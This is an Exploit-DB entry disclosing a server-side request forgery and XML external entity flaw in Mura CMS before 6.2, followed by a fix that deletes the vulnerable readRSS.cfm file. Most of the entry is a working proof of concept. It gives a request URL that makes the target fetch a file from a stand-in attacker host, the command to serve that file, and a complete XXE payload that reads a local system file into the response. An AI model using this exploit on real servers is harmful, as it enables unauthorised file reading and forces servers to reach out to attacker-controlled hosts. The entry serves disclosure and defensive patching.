Mura CMS < 6.2 - Server-Side Request Forgery / XML External Entity Injection

EDB-ID: 43045
Author: Anthony Cole
Published: 2017-10-24
CVE: CVE-2017-15639
Type: Webapps
Platform: CFM
Vulnerable App: N/A

 # Date: 30-10-2017 
# Exploit Author: Anthony Cole
# Vendor Homepage: http://www.getmura.com/
# Version: before 6.2
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2008 w/ Coldfusion 8
# CVE: CVE-2017-15639
# Category: webapps

1. Description

Any user can cause Mura CMS before version 6.2 to make a http request. As an added bonus, the response from that HTTP GET request is passed directly to XmlParse(). It is possible to read a file from the file system using an XXE attack.


2. Proof of Concept

vulnerable file is on github, line 50:
https://github.com/blueriver/MuraCMS/blob/c8753ce80373eca302c6d9d8a02ff63a1d308991/tasks/feed/readRSS.cfm

http://www.target.tld/tasks/feed/readRSS.cfm?siteid=SITENAMEHERE&rssurl=http://evil-domain.com/file.xml&MAXRSSITEMS=500

Explanation of params
siteid - The siteid can be obtained by viewing the html source code of the target home page and searching "siteid".
rssurl - This is the URL you want Mura CMS to call out to.

To perform a XXE attack, you will need to stand up a web server: python -m SimpleHTTPServer 80

Then create a file:

<?xml version="1.0" ?>
<!DOCTYPE rss [
<!ENTITY send SYSTEM "file:///c:\Windows\System32\drivers\etc\hosts">
]>

<rss version="2.0">
<channel>
<title>title</title>
<link>link</link>
<description>description</description>
<generator>http://www.getmura.com</generator>
<pubDate>Thu, 28 Sep 2018 11:55:19 -0700</pubDate>
<language>en-us</language>
<item>
<title>Item title</title>
<link>http://host/</link>
<guid isPermaLink="false">00000000-0000-0000-0000000000000000</guid>
<pubDate>Thu, 21 Sep 2018 00:00:01 -0700</pubDate>
<description>&send;</description>
</item>
</channel>
</rss>

3. Solution:

delete readRSS.cfm from the server.

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